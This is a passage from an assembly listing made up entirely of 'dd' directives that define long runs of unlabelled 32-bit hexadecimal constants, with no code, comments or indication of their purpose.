0D1942FFEh, 0D4ABBFAh, 5A962CB3h, 5D4D8C54h, 0C15C7C5Ch dd 54BB319Bh, 0AC8A3DCAh, 5E06F123h, 2371C510h, 8CDAF3B8h dd 0F2CD078Ch, 0F35D93CAh, 0AEFF9EE9h, 0C5CD6C2h, 0E298F278h dd 50BE78A9h, 67E8EB5Fh, 95564589h, 0E49CD7E7h, 3D9CDAE4h dd 2357FB5Eh, 0D5D82D69h, 596E25B4h, 723D3C1Eh, 63DB1B14h dd 0C3C2A273h, 5E6BFE46h, 0C9976D75h, 5A064A54h, 7929EBFCh dd 674F47AAh, 0B995A253h, 0B5BC5128h, 7882AE63h, 0DED85F46h dd 55394478h, 8C96A462h, 47E44C3Eh, 750BD15Fh, 66DD346Eh dd 16355487h, 14031C57h, 738FD941h, 0A1F31D9Bh, 21F3237Bh dd 363FC333h, 0BE7901E2h, 0B49FE9F2h, 91CDC674h, 23C452B2h dd 5F4A3E7Dh, 76F4D92Fh, 21BC0165h, 9F9FEBB3h, 0DBA64864h dd 0C341EBB7h, 4963F8C2h, 562E1B5Eh, 0B7A708BCh, 1986886Ch dd 0F06B5D15h, 0CBCEA586h, 1D828E06h, 3133DEBBh, 7D6B61C9h dd 8AB8669Ch, 37AD0C02h, 0D3C0AC1Ch, 0B3702AAh, 0E8AE51Eh dd 0C88281DCh, 0F3121CA3h, 85FBC11Ch, 9B1D2A81h, 11BFA644h dd 0D35AAC80h, 0E790E997h, 0B33A6DE9h, 35758D69h, 54A57E1Bh dd 9727E02Eh, 0D351D76Ah, 8ACE12B2h, 0E404E1CEh, 0A57DFE31h dd 18D33B3Eh, 0A044E326h, 0C0C9AB6Bh, 6013A2BEh, 6B43157Bh dd 93CD17D5h, 69720D77h, 6F624008h, 21BD7F8h, 2ED9F1EDh dd 0D4BEE3AAh, 0AA60D176h, 7656AF4Ah, 0C79D1860h, 8AB611B2h dd 99FE117Ah, 32AB2555h, 872A80BBh, 5C82153Dh, 26CFB988h dd 76696BE3h, 67EF8017h, 0F684B9DBh, 0B904FA79h, 0DEE83A36h dd 3507F608h, 3A38538Fh, 0AD6110C5h, 0E480B25Eh, 0D477B18Fh dd 7892D6C0h, 1137B300h, 0EBA2948Bh, 51C9C1CAh, 0B2BAD9B4h dd 0DFB3EA98h, 0A51A1D15h, 95ACAD37h, 0AA873DD2h, 1322F33Bh dd 12715160h, 4A9F2DE5h, 47380DABh, 9AE2EAAEh, 3260EB5Dh dd 0C6D91215h, 0D7E12F28h, 62040EDEh, 7CBA507Fh, 7700BA0Dh dd 8F8316E5h, 99290504h, 0A42F6AE9h, 0CC98A95Bh, 0A43B3AF8h dd 7129A5CAh, 3B38F26Dh, 0E20F0FC5h, 0BF52AA77h, 9E200FF1h dd 7E1AED66h, 28DF9081h, 23ECEF8Dh, 9BBADCB0h, 0FCCE9299h dd 0F41FD9F1h, 6A265B82h, 0B58D95A1h, 7A9C0875h, 7C3FE989h dd 0CEFE5CE9h, 0E2419EDh, 77535EEBh, 4AA55A16h, 301E4A34h dd 0CADF6A8Fh, 64E7FA7Bh dd 0E20C317Eh, 0A9E5384h, 1FC93E89h, 46456293h, 4312C67Bh dd 675E27E4h, 236EE2AEh, 0A07021EDh, 0FDF396Eh, 9F3A986Eh dd 2D22E871h, 104C088Fh, 434830C3h, 0B7BD680Eh, 0CFD89FD6h dd 1734DD13h, 5FFF3170h, 8638602Ch, 0D461433Dh, 8C710A84h dd 15959CBDh, 59690E71h, 922B3F69h, 1B19EB08h, 0FDE06EB4h dd 0F02C2395h, 0BA77D4D4h, 72D52835h, 0B323D33Bh, 0F24C498Bh dd 84062509h, 6FBB758h, 19D4A6Ah, 65A1C028h, 8747D409h dd 0BEA64DD1h, 9440D0BEh, 0F72481D9h, 54992415h, 0F1BD332Dh dd 20A1A34Ah, 50BC7D0h, 0AE936043h, 9E862AE7h, 16ADFCEDh dd 0BB666C1Ah, 25C7099h, 389D52A6h, 0B2F1BCB5h, 0EFE72ECh dd 4F906E19h, 0C2BBA0EBh, 0B45C04A2h, 8545492Eh, 52A62146h dd 46DD75F6h, 856584CAh, 0AD7C957h, 826A95BAh, 0BEA95844h dd 418EA6D7h, 0DE124FADh, 0FA57567Ch, 53102E76h, 0A78119F1h dd 4CE13D8Ch, 4E88E4F1h, 0EACBDB3Eh, 3DCF8A2h, 0C0F88186h dd 80BBB43Ch, 9A56A750h, 0B4FAECC8h, 0C55A09BCh, 7596BCADh dd 4DD64E85h, 0EF5AD975h, 0A89CD4C6h, 0E9D7D9D5h, 693E23BBh dd 2595C471h, 0D8A4C27Dh, 3ECC2FE2h, 13B9922Fh, 42E06DD2h dd 569AB937h, 64756770h, 0A8259878h, 0BC0910B7h, 7D68E86Eh dd 0B20D414Ah, 997FC85Ah, 0B80843B2h, 0BE635EC1h, 9FA2549Eh dd 0A8E415B7h, 6050557Ch, 5D28F404h, 0B57EF90Fh, 29585AEEh dd 36C6C48Bh, 945FE1BAh, 52ED9C52h, 0BD8F58B2h, 0CCF977A8h dd 0B014E93Dh, 8906C1D5h, 8A5AC89Ch, 67070AFh, 30F346B1h dd 883E4272h, 81FC3C54h, 0AA5345BCh, 0E0AE226Bh, 227E08BAh dd 0E3567C3Dh, 0F3B58849h, 0C4632AB5h, 0A367A240h, 82323AE3h dd 58275D4Bh, 0E67A5E8Bh, 415C0A14h, 893DB872h, 0C3B2FB91h dd 51CD9F87h, 0A13A6126h, 398E65D9h, 1E04C6AFh, 7159A4ECh dd 0CA9FA650h, 0F026B5DAh, 0FDA2886Eh, 0CD7EC931h, 0EDC156F9h dd 67B67AA2h, 391C62AFh, 27D119DDh, 0EA4E36E8h, 0CE2537E5h dd 0A61EA9E7h, 406BE407h, 509DC895h, 889EC8CBh, 2A9E6C55h dd 925E9D05h, 3F77A124h, 0E0A68517h, 759B1B43h, 0B6FCE3D4h dd 2C63AB4Eh, 49BA7E68h, 3E4A2E5Fh, 0C0545E4Fh, 27B8C146h dd 71494A57h, 0C33DF371h, 0FD399670h, 72B7F8BBh, 17E101A7h dd 8805DDBh, 4B64AD19h, 37B174C2h, 0E426084Fh, 74E7FAA7h dd 0F8150D32h, 891F1D29h, 0B3BD5D47h, 0CAF5B607h, 1349E741h dd 19D08936h, 0FC72E0DCh, 0C1650879h, 2569C0EBh, 6BE976E8h dd 0A25A7CE6h, 68EF771Bh, 7D90C8D5h, 0B0D18146h, 386673A2h dd 0ECD3997h, 15FB4B06h, 0A2ABA539h, 0CC16339Eh, 0EB3C7011h dd 41EA0F76h, 7D119983h, 2AC9BC85h, 58D7D362h, 5604CFF9h dd 9EF8E1DFh, 0FA509C64h, 2C6284CBh, 38E1EDAEh, 7B1A0CBFh dd 995B85ACh, 54643738h, 0C178CC59h, 0D9A6211Eh, 3F85EE5Dh dd 8C79C042h, 0A310A125h, 0F5D9E33Bh, 449B4C4Ah, 8EC32C4Fh dd 4DD46507h, 64268DA5h, 77169C63h, 8EEBFA22h, 5B47E55Ah dd 0E821AB7Bh, 0EC2E5DA6h, 6FC1A1C6h, 6C4B2644h, 1CD27C2h dd 17507BEh, 0D254B8E9h, 0E1EB7805h, 0DC725244h, 177B8D9Eh dd 26EB6115h, 2362061Eh, 42561152h, 0A5B873FDh, 0D953F8EAh dd 6370F0AAh, 46F27F68h, 0EC3530A2h, 890B3AD0h, 8FDFB3FAh dd 58257AF2h, 0ECB3236Ah, 3C2D0119h, 8A474399h, 9AC93E58h dd 0DCC96C7Dh, 5EFD30EAh, 0D8960404h, 0FDFF7670h, 0A3F67B32h dd 711C9847h, 0C8CD83B8h, 37CC629Fh, 0BFFF1A36h, 831D943Ch dd 4C6DF40h, 0FD25F1C7h, 4CC0056Fh, 0B7635F5h, 0F2766D9Fh dd 75D3BF49h, 0DD2B40EEh, 0A308925Ch, 0C263D2E9h, 0D47E9FE8h dd 29309BF5h, 0AA55CFA5h, 0BF718367h, 5D166454h, 3616B46Bh dd 23EAA378h, 4D140691h, 2157B2F4h, 6D8D4380h, 1595D08Eh dd 0FDCAA466h, 0A5DEDCA0h, 0EF43DA16h, 45933598h, 5BFA61ADh dd 533FC82Fh, 0BC86871Ah, 0AF640742h, 0F447FC99h, 0D45BEEE5h dd 0C19EA36Eh, 0B7D2FC2Eh, 0B685BBC8h, 93CB760Eh, 81666ADEh dd 8DA0D0C1h, 198C9BF2h, 1F8D2EAEh, 0C2CC239Fh, 0F8C2AE41h dd 0A36A7291h, 402DE0B9h, 0DA273FA7h, 2A3151F4h, 0B3D7B9E4h dd 97B4ED40h, 85C8CC9Bh, 606D3BD9h, 0C65E9DEh, 644CFA17h dd 7BE1AE9Ah, 711B286Bh, 9C63F65h, 25015060h, 9FBC776h dd 0BC64C0D4h, 73C9C64h, 6B3F6BBDh, 0D24EE2C7h, 5110AFF6h dd 267B8FFBh, 0B4A12A58h, 1160E5E5h, 7E7E950Dh, 0E10550E1h dd 0A893CC83h, 6693A81Ch, 7298A0A2h, 9BFFED23h, 10F118BFh dd 560190E8h, 7D0BB58Dh, 51464484h, 2740C7CFh, 0BA6E375h dd 0CFE1440Dh, 0AEEC39EBh, 4C8AFDF6h, 2D34B265h, 4C8B5208h dd 7FE36C76h, 0C07BC931h, 0C7140111h, 63C34E8Dh, 0A6D5143Ah dd 0C9B81177h, 7C56D7B7h, 0AC8C8C5Bh, 3612C933h, 0DB8C2829h dd 3430C0B7h, 0CB67D690h, 1D71AD83h, 68B568D8h, 0B70D1382h dd 2EC9F3B4h, 0F0ED13AAh, 95DEB55Dh, 0BCF2196Eh, 8DB2D164h dd 96C8B054h, 0E8544F66h, 4A87CCCDh, 233D1E2h, 4522B83Ch dd 0FD9503ACh, 2A8D6D55h, 7D069F6Ah, 0A4102A46h, 0D8FD3D9Dh dd 306E9F2Eh, 0C6F14B2h, 0D880C71Ah, 0E6994635h, 0EC94139Eh dd 4C3D225Fh, 2742B7B9h, 8FA50F8Ah, 81CF2416h, 85880CD0h dd 33160D72h, 0FE580D0Eh, 2C91E805h, 492FB56Ah, 5CA2021h dd 73180DBFh, 4F08F46Bh, 0CDF5CFCCh, 0FD97B98Fh, 0AA5A7030h dd 2A595C89h, 7B80D3E1h, 0E9165F91h, 398F2510h, 7E247000h dd 98842FA6h, 4895AE1Ch, 29607A71h, 1EEB7A50h, 97C21836h dd 7FEEFE90h, 0BBE99D8Bh, 425EEFBAh, 6740960h, 728C6F48h dd 50511B12h, 4A537912h, 6314E22Fh, 977ABE79h, 0A5A485F4h dd 0F6CC95C2h, 2DEBD69h, 0AB85CFEDh, 0EA0280C2h, 32F65FC3h dd 5793DC5Bh, 6425EC30h, 6735027Fh, 0E3CDFC36h, 40C2765Fh dd 84382B95h, 0DD039472h, 74A625E4h, 3DA166E7h, 47DC9B5Ch dd 9DB6BBCAh, 0D1083824h, 62D5E53Ch, 27A3FEB7h, 3A85DCF5h dd 3897FCEh, 0AD44E0A3h, 4EEA1815h, 0C2AB6013h, 9A470FBEh dd 47608B68h, 1A5E5281h, 502644F6h, 0B2B6E49Ah, 0FC4D7F0h dd 24E93D63h, 552EBD58h, 1C89C4E5h, 5CC5A43Bh, 4DC91E84h dd 92BCB6E9h, 0F0060860h, 14645BA1h, 0B017A084h, 0B9C9E059h dd 4AF58F7h, 98819CDCh, 8A666A6Dh, 151767E1h, 4C04FE0Ch dd 2EA36654h, 0DD5F42DBh, 60169949h, 0DCAD1341h, 608530E7h dd 6956F362h, 6EA3D4Ah, 3E4B94D0h, 5FB2E628h, 25F63855h dd 13833684h, 0B469E289h, 0F6DBDADh, 5CF1F1E1h, 7FA763DAh dd 0BC149A37h, 662A2C6h, 0CC6A30B1h, 59F2FF79h, 0F78A960Ah dd 0FF0198DDh, 1E1F7234h, 6AC54903h, 7CBB83C4h, 30E3EA36h dd 97D55F2Fh, 3D1285B8h, 7378DE94h, 21B8C8C7h, 4990C67h dd 3D804912h, 0E61AB23Bh, 7D279694h, 8D02D472h, 4022493Ah dd 7F63AF74h, 0E10A8FE7h, 0F11AF900h, 45286A27h, 0F5D859E8h dd 53CACEFAh, 0AE687D53h, 0CE80C68Bh, 346A207Dh, 5637CEACh dd 0BB5BF5FBh, 49226FF5h, 994321EDh, 35137D6Bh, 0F27820Eh dd 50CEC6D0h, 0FF407AF6h, 0BBE8DE4Fh, 5B109F94h, 0D6CA73F5h dd 4F9C9CD7h, 7F9CB4EDh, 0CEB3CE3Eh, 2BF13338h, 4F8E7F08h dd 0E06D8CAEh, 278F1F1h, 80A7CCE6h, 0A1915942h, 0DEE4E8C9h dd 61B231FAh, 49CD6817h, 90611E19h, 0F432BFD8h, 0DAF236DBh dd 0F2BFB64h, 84F30354h dd 863DA7Ah, 752FCA53h, 3B532316h, 0BAAD6D54h, 0B4D13368h dd 0FD23C3EFh, 9A1922B2h, 7CA4C3DDh, 9C9C2B1Bh, 1A2AB95Dh dd 614B7A34h, 88233FA5h, 0A7152C32h, 0FAF4A0CEh, 7CC07145h dd 785E3361h, 0B8E8D579h, 34E2CBDh, 48AAEF10h, 0DA9CD75Dh dd 311E9B11h, 0E9D96213h, 0C463A0C9h, 185B7D50h, 97216DCAh dd 31025DD2h, 9618686Fh, 6FC8409Eh, 97BD9054h, 33D667F4h dd 1029978Fh, 4608DA3Ah, 0E916F057h, 690D9B0Ah, 973414FEh dd 10572870h, 9AE94E0Dh, 0FDF48A42h, 575F6DE0h, 8396589Bh dd 5CD5B596h, 0D9644200h, 5E5079C0h, 0AF57D0C1h, 0E5A2B93Bh dd 0BC8B7660h, 56A4D0EFh, 5A105EA1h, 488E84B7h, 4833EAAh dd 0A49B500Ah, 0DE1FE3Ch, 7AB630B1h, 0D0524D51h, 5E25723Dh dd 0FA5B7C64h, 7436CEE1h, 0C1E30F1Fh, 0DCB89C15h, 0EF085441h dd 0E4CDFBE3h, 1520B64Bh, 1B6C42EAh, 0BEFE36BDh, 68452CDFh dd 354E2AEAh, 0F401DCFFh, 0C13D174Bh, 0D2E0C03Fh, 1CBDD281h dd 630FD78Bh, 0FE4D526Bh, 3945D5Bh, 5D2C4661h, 52776977h dd 7C1689FDh, 0D419DC01h, 0DE8F3E11h, 0BD737E8Bh, 0D4239A30h dd 489BC4C0h, 43DF195Bh, 569F60B4h, 0E0ED25DDh, 16682A93h dd 0BA0F5C7Bh, 0A33BA9E5h, 0EB43066h, 0C89E78E8h, 88BB22E1h dd 49D7B344h, 0BC5F6F2h, 0F04BE9AAh, 8B828B57h, 763B3ECh dd 0ED221090h, 0F15FF605h, 69DD431h, 8D53F14Ch, 0CCF7F6Ch dd 0A3DCA582h, 51B54F2h, 0DA15FBB4h, 5CA21C3Fh, 786CC86Fh dd 282B17E7h, 52535B91h, 0A7C4A378h, 6E4FBDABh, 0A71F3459h dd 607608C3h, 0D4BEC22Bh, 0AB29372Ch, 8346C1D1h, 21C7EF5Dh dd 0C198F191h, 0D8212917h, 0AE2F3DABh, 975DD075h, 1673C683h dd 3D3291EAh, 0D06CA148h, 0D9667F1Dh, 0D4CB41F2h, 0A4FEBED2h dd 4E7A1F6Ah, 0B0C72568h, 9C0007E5h, 56EB6759h, 523C2D56h dd 0BCDB129Ah, 3FE18776h, 1F3C1FA0h, 38C3037Fh, 0DDE7ADCFh dd 434DD34Dh, 0C75293C0h, 4519C6A8h, 6588D9Bh, 0FCCA23EFh dd 0B3A8806Ah, 6FDD2226h, 79054801h, 2764A271h, 0FDC2FE76h dd 7572003Bh, 0BB20F634h, 1BF7B25Eh, 0CF0A3C51h, 0B39D1B8Bh dd 0CF46DFBFh, 5BB36A36h, 903DAB5Dh, 6AA2A7DCh, 1CC2B3E2h dd 0F5DBA66Bh, 44E7B090h, 0C3872581h, 3FA49A41h, 0F7733275h dd 492E0083h, 52906Ch, 9948ED9Ch, 5CC77B09h, 6CAB57A1h dd 5B3947B4h, 513E0BB6h, 3E684C60h, 42670B58h, 0B9372DA4h dd 0C095C97Fh, 6FD70F52h, 3FA85336h, 0DB1DA736h, 0F2D59D58h dd 4006867Ch, 7924B941h, 1A6AC792h, 0D1ECD8FDh, 0B219EB79h dd 0EB67CB7h, 2EFA11FEh, 537878FAh, 5466AA43h, 7ACEF980h dd 0DB353DB1h, 81B26EE0h, 0BF2DC007h, 11E62420h, 0B1C815B9h dd 0ECEA99Bh, 0FF4CDAC4h, 923185E0h, 3E191010h, 982E84B5h dd 0FEEEA88Ch, 0B1BCF156h, 4A1820EAh, 0DF5DBF0Dh, 0B2287237h dd 919F4FC5h, 288845BFh, 0E01D1D61h, 0B4061AEh, 84CAFE23h dd 0F09D3387h, 0EF02D89Ah, 0C4B4EE1Bh, 1BB2DA3Fh, 31D302D1h dd 0AAE76005h, 0B952ABD1h, 7066C048h, 0E547716Bh, 0A5B12E92h dd 625047B1h, 3520B94Dh, 4B99E5Dh, 74EFF012h, 53223B9Bh dd 190D5DDh, 4DA89CDCh, 3A837C50h, 18ABFF06h, 0D0306EBEh dd 0FE587B27h, 0C1C1775h, 6C1419FDh, 215306E1h, 905972E3h dd 22F70FF4h, 8CA4706Fh, 2D0C5D50h, 37286C53h, 0FE04FC44h dd 0ED7E6496h, 7CD9889Dh, 0EC9BAFA0h, 0A19DE2C0h, 8CE9188Fh dd 65AFDB9Bh, 1171C329h, 47735490h, 1C4DB3E5h, 0C6C3468Fh dd 1F16FCC8h, 0BEA8BF9Fh, 1FEF9183h, 0CE008AADh, 0E722642Ah dd 0F162E5E5h, 4425A37Dh, 2C449A5Fh, 32EF3201h, 6A269000h dd 24922E5h, 0D816662h, 0B6E7C244h, 0B4C361Dh, 0A1C34229h dd 111BDC61h, 9B374709h, 89A33831h, 73360368h, 19FA6998h dd 4CECADC7h, 75449C01h, 581623C1h, 230DA028h, 1EEFB802h dd 29302748h, 0DF0CC275h, 0B8B4B0B6h, 5FD74071h, 62BDD8FAh dd 7F2AAF7Ch, 0B661E657h, 0ACA18003h, 445C95DFh, 0E5EFE7B6h dd 0B8A1F8AAh, 53B1BA65h, 806DEDB9h, 0F7F160FDh, 0BF3BAF4Eh dd 953E7782h, 26E4FF1h, 5A3AC906h, 5A91E7Ah, 0CEA2732Ah dd 897A8CAEh, 0EC8C5376h, 0EC774BE7h, 3A606D6Dh, 18EB0AB2h dd 0AAC34AA7h, 0C9DD790Ch, 64CEBB4h, 0C8A8C87Ah, 9C022920h dd 0C38C3D3Ah, 0EF66681Fh, 0BEC3196Eh, 42E63B73h, 0E909622Fh dd 44B7E58Fh, 5C165A8h, 18D18978h, 7668C3A9h, 90CE0580h dd 0B0A385DFh, 0ACD7F522h, 0F4F478D0h, 4F392F7Eh, 90C913A0h dd 1F310D3h, 0B4695C6Fh, 1B9CF918h, 0DD1A9D11h, 12614D7h dd 279A0DDBh, 3A19EE60h, 1DB1215Ch, 1E4BF1Dh, 93EE232h dd 92B0484Ah, 6D68878Bh, 865F95BBh, 92D9AC99h, 27FAE5F1h dd 0DB484E74h, 491D57C9h, 2CC13F37h, 10C67D8Fh, 0A1C97CD2h dd 2E676BDFh, 0F8721F8Eh, 0BD2A0D0Eh, 710749B2h, 0C7EA5E70h dd 0FC070EA4h, 0EF7D2617h, 4B620BA4h, 0C27328B2h, 3843F4F9h dd 0C2EA003Ah, 74824D9h, 0DBFA007Ch, 0B3C8EC0Eh, 3CF14649h dd 7AE1F17Ah, 48BEDAD3h, 6EA404EEh, 0E3BDE464h, 22ADC08Ch dd 8414267Bh, 0DB22CA47h, 688FB96h, 0EB1E39CCh, 116E88D2h dd 1EBDA8A8h, 0D5FF973Ah, 0CD05EE63h, 48B272E6h, 76C39D2Ah dd 0F95E9D60h, 1F7CBCBBh, 0B3B76CFFh, 0EBE2135Ah, 0C51F9549h dd 62758994h, 5E59DFB6h, 0A5BD52A5h, 0BCE18F55h, 2FAF4C1Fh dd 5E0A4539h, 185505C9h, 1E934AE1h, 0BAE0861Eh, 18657C06h dd 5F7B6333h, 4663AF44h, 25B9AE7Eh, 89F1EA3Bh, 0A3FB3912h dd 5714ADB5h, 60044A46h, 77151828h, 4E9B008Ch, 0FE492142h dd 0D2EBB2E4h, 0B22E917Bh, 0A108A44Eh, 2E81409h, 9DB28B1Ah dd 6AA10BEAh, 50CAFC46h, 9DCDF41Bh, 0AE82CB07h, 0D9767D32h dd 2A9A0F00h, 8C7409A2h, 3F2FDBAEh, 4413C8EEh, 8DAE6733h dd 5E91E2D8h, 0ADF973F2h, 62E24D99h, 8A8FA62Ah, 0A15478CAh dd 0AEB327D4h, 0B7A7A820h, 5DD7502Ch, 127B31E7h, 0FAC46450h dd 5A6AE3A5h, 16F37669h, 0E343C673h, 0AC9DBA1Eh, 0BAEE4C05h dd 0E81A4F2Fh, 0E4D07AFh, 9805C7C2h, 2A5BAC6Bh, 8C97A51Bh dd 0BFEA216Ah, 6953E4EAh, 1713907Fh, 3A18007Bh, 9B4F14E8h dd 0B92FF1B9h, 0BB937039h, 7F71B0D0h, 2EB1B6BDh, 640C3F5Fh dd 8F9637B5h, 60A68F32h, 0A3BF5C46h, 0C87AF801h, 0FD549B6Ah dd 94B109Eh, 0DC761A2Fh, 0DB936689h, 4647F7EFh, 0CA22BCE1h dd 0B43E6D90h, 0C7077ACEh, 139ACCCAh, 0F8A0F2Ah, 0EAD9F2BCh dd 8D11B70Ah, 2721BA30h, 1D7C8727h, 936F8C15h, 0C8A5335Ah dd 895BAD7Ch, 41DC9A60h, 0F69CDF42h, 0E381CF54h, 0CECDE48Ch dd 87C366FDh, 0BA8B8E8Ah, 3DC9D9B0h, 99585FFFh, 0A38DE85h dd 6F033C1Dh, 188EC286h, 70923185h, 60493E46h, 0AD0F3D29h dd 0E0E905E0h, 0C3CE8D81h, 0A0A28A2Bh, 0A02E9AEDh, 2255DBh dd 0ACE0290h, 9B3D95C3h, 0AD6B0AD1h, 8C6D24E8h, 0AB6C2B94h dd 74C46DA3h, 7488DCE8h, 49894CC4h, 0F44A8CF5h, 0FF2DDD54h dd 0C0EA66F7h, 0D257E8BEh, 0FC777556h, 375E8E6Fh, 0FEE3BFD8h dd 0CBF61A25h, 19161715h, 36D012E9h, 7C6D9961h, 0A83F4C0Ch dd 6D32C149h, 2DA9F8B4h, 0D9D16D5Dh, 0E0B578CCh, 0E789ECC2h dd 0CE0A6A38h, 5029B48Eh, 0E42DC411h, 71169B6Ah, 0F7DAB4F6h dd 0C2ECF8FAh, 1FCD706Fh, 373228B1h, 0BB51B80Bh, 81881791h dd 6D20B39Bh, 0CE60AC8Fh dd 42D4EB94h, 0A2F1D07h, 8BB09FA4h, 12D66A37h, 47666B4Fh dd 658EE91Dh, 0F543B095h, 3C306A4Ah, 0DD124CBCh, 0FEE8BB32h dd 97CF3B6Ah, 44F5483Eh, 0D5D87BCFh, 58CE19E4h, 0F274EE80h dd 52069125h, 0B1E4FA48h, 622E5B45h, 2DC1223Fh, 0C39F11CEh dd 498A5398h, 42075702h, 40DE10A4h, 62DFED1Ch, 32F2978Ch dd 0BBF4D6EFh, 0BB8428Fh, 8922D1F8h, 6FEE6E76h, 0D4F5996Dh dd 8A0EFDABh, 0C9031A21h, 7C518E8Bh, 0C22A3EDBh, 708CAB19h dd 0E466B052h, 0EDEE4C98h, 0A4C6279Dh, 0FB4E4C64h, 0E0718FEEh dd 2B25E761h, 5ABDCB1Ch, 77B2CDBFh, 733B24E9h, 7C1B5C8Ah dd 9EFC1091h, 0A4115EC7h, 6D82258Ah, 0B391446Dh, 8D797CECh dd 24DC624Eh, 3F34ACF9h, 0A1930DBFh, 0DA7F5A8Fh, 0CD046E88h dd 0EAB2AF35h, 660AD1Fh, 1F132DEAh, 0B4CF1493h, 7CE210BEh dd 201FD5E3h, 300388B0h, 0A190C514h, 0E55CF59Fh, 0EE7D578Fh dd 9787353Ch, 825180DCh, 0A3BFBD6Fh, 79E70611h, 0EE4E6CD4h dd 0AF51C303h, 0BC1DBD9Ah, 6E9A08A1h, 2E6FA1C9h, 6DF73D97h dd 0FB3ADB2Ah, 2E2E994Fh, 0D46C6475h, 27063D59h, 2CDE934Fh dd 713A776Dh, 70FD8931h, 0F94B2C2Dh, 0FF0E7D73h, 7F303F7Eh dd 807F35CAh, 437064Fh, 38A99693h, 40E6FEC9h, 8CC9B15Dh dd 4EFE301h, 0A6510E0Ch, 1C4D1DA6h, 1ED57CA4h, 7BCA8FA4h dd 418B0574h, 0E329D29Bh, 917DC48Bh, 62AECEF9h, 7B79A9FBh dd 0FAE43678h, 18103F09h, 462DD429h, 4DE6C8CAh, 0C3FDE6F7h dd 0AF4CB348h, 0E8B26183h, 624B5B2Ah, 9333F37Ch, 45E585A9h dd 0F0C089C9h, 0EAD2B960h, 0CDD3C808h, 2C84F07Ah, 195EA9ECh dd 0AD016B5Bh, 1575F4D0h, 7B5AA6F1h, 0FFB8DD04h, 0BCE80726h dd 1EEE234Dh, 4FFC1C1Ah, 0DC7693E8h, 72319ACFh, 59F1095Fh dd 0FA9A1BCAh, 9224AB5h, 0F7BD1D13h, 2381AB5Fh, 8296AB77h dd 0F7E79EADh, 3B6920BCh, 901628ACh, 0B9DD1C33h, 63C0DEEh dd 0C8DB5ACDh, 97299596h, 269870AFh, 647A8496h, 90E8AC95h dd 98BF8E43h, 33B2B63Bh, 0BC1503DEh, 19583EFh, 0BB2AD380h dd 63C9D549h, 74911483h, 97D47FF5h, 110E8398h, 863C098Eh dd 7670E22Bh, 0D2669250h, 9CD7DBEDh, 8A3992F9h, 0BBB33AA0h dd 73939C26h, 5BEF83ABh, 0E2C48338h, 0DC32D5FCh, 19CD751Fh dd 95969AADh, 5944FFC6h, 8C0A5F1Fh, 96285ADDh, 0BB7CC7ECh dd 0CB8C124Dh, 0CE2B050Ch, 0E8042C99h, 57FA19B0h, 0A1007D8Ch dd 44E36586h, 4D9847B3h, 3B4FD023h, 86354316h, 0AF611534h dd 4E730114h, 0AB62571Eh, 0BAEAB25Eh, 9A196CF9h, 7EC960DBh dd 8887E8Ch, 0BB0946CAh, 2E0B53B5h, 6553D733h, 5C4DFBB7h dd 5B4EE09Dh, 0FD133E20h, 43BF99D5h, 0D7E0DD86h, 85AEB714h dd 2A6B7016h, 0C708B26Bh, 75BC9B19h, 3A00A062h, 0A085B0A3h dd 4543A94Ch, 0A2BDB03Bh, 53282C15h, 0A19998D1h, 0DEEA5896h dd 7ED0200Dh, 0D1850CAEh, 0A94CD75Fh, 285AE3D4h, 0EAAE0C90h dd 23EF50E8h, 0EFB7A605h, 0B692BB41h, 2BD042B0h, 63B8699Eh dd 5ADD6C6Ch, 44378EBBh, 2EC7F48Dh, 61A5253Eh, 9E8A5A30h dd 0D7327DFAh, 0DDDA4D5h, 0BFBDF570h, 0D0C6D7B9h, 0AF4A5915h dd 0FBBDEA14h, 8B94B293h, 3141AF66h, 50DF1D04h, 13489031h dd 801F1A7Bh, 1A1C4582h, 9E508FAAh, 0EC577022h, 65FB5C9Fh dd 2CA567FDh, 6A0C5116h, 256E61B1h, 335D9F0Bh, 61F0C8E3h dd 27E19CABh, 0EDDE9995h, 16CE2B3Bh, 2EBD4C4Eh, 21B00DAh dd 56220A40h, 71AFD6A6h, 0DE787008h, 686D4F54h, 96F360Fh dd 0D18344ABh, 5255B75Eh, 8F4DA88h, 0B5570C19h, 0F6BE9AF1h dd 276BC40Dh, 22503401h, 40B59646h, 931A38Eh, 0D0293F6Fh dd 1F3F4C8Fh, 78DCE33Ah, 0DABA808Bh, 0EB34C44Ah, 678E517h dd 2852129Ch, 22C09BA7h, 4CDB0ECCh, 0FECC8AD9h, 9BA44C84h dd 0EA1D31C8h, 12DEA987h, 3A26B2FDh, 8878D01Ah, 0F509B859h dd 5D71FEh, 461C34DDh, 0BE935D00h, 68B4A9A7h, 5A4B6442h dd 20454F50h, 1ED6B5B8h, 0E52ACDB2h, 0D4951C27h, 9B979156h dd 0C603D35h, 5D051665h, 0B6E27F0Dh, 0AE543ECDh, 9EDC7F0h dd 0C58FE250h, 4A7BDABh, 4BAFD5F1h, 7B77BA9Dh, 90BA5422h dd 53CF0342h, 9674DC6Eh, 23F410ACh, 21877E16h, 3A296036h dd 18EB7925h, 9A4A73BDh, 6DB5B0B8h, 2BD7BC26h, 6771913Bh dd 5305C44Ch, 46BB7BD5h, 0C0C2457Ch, 0A7A013C9h, 0AD70488Bh dd 0B8D4DD31h, 0FA0F93B1h, 9E19F80Ah, 543B8D4Ch, 33A25A51h dd 0FBE569CFh, 23800370h, 5955FA9Ah, 96C8D7CEh, 2F5E198h dd 9EF3FBF0h, 0E91A504Ch, 7690DE87h, 654A4D29h, 1B695496h dd 0ABFC2B01h, 5F35E182h, 19FFEF5Dh, 3C99C245h, 478D0A0Fh dd 4E19FC1Eh, 0EA1F5D01h, 0A3974B00h, 0D425AC9Bh, 6F10D3F4h dd 88431CC5h, 0BFAB277Fh, 0C8378A3Fh, 0D9130A93h, 0A9CD0577h dd 0ABC316E2h, 48348471h, 74BAC368h, 0A97264D6h, 1D640B8Ch dd 55484541h, 35C99F3Dh, 0E622A704h, 0A8CB8797h, 61F943B9h dd 241E15B4h, 554DB183h, 152E6F03h, 48E892D7h, 4FE5C2D2h dd 87CDB4A6h, 903207ACh, 0B69F2C77h, 0C4302D08h, 7EFF8693h dd 0F00E6D37h, 0A75BB149h, 0F81A9E3h, 0A6DE8DFCh, 0BFDDE63Ch dd 0BE4DDB87h, 0C938800Dh, 0DB8C690Eh, 3C35F864h, 0EE0093D4h dd 9EC78DBBh, 0E6D22629h, 0FB8BAAECh, 0CD4C2B40h, 218EC171h dd 0E3A8B1D1h, 0D2C556BCh, 59A7C4C9h, 7B1AE079h, 0E7CED29h dd 0B92CD3Ch, 60BA8B14h, 71B99993h, 0C68306E3h, 82CF85CDh dd 0ABFDE9DCh, 0BD128BB9h, 0DC4AEC5h, 323BE176h, 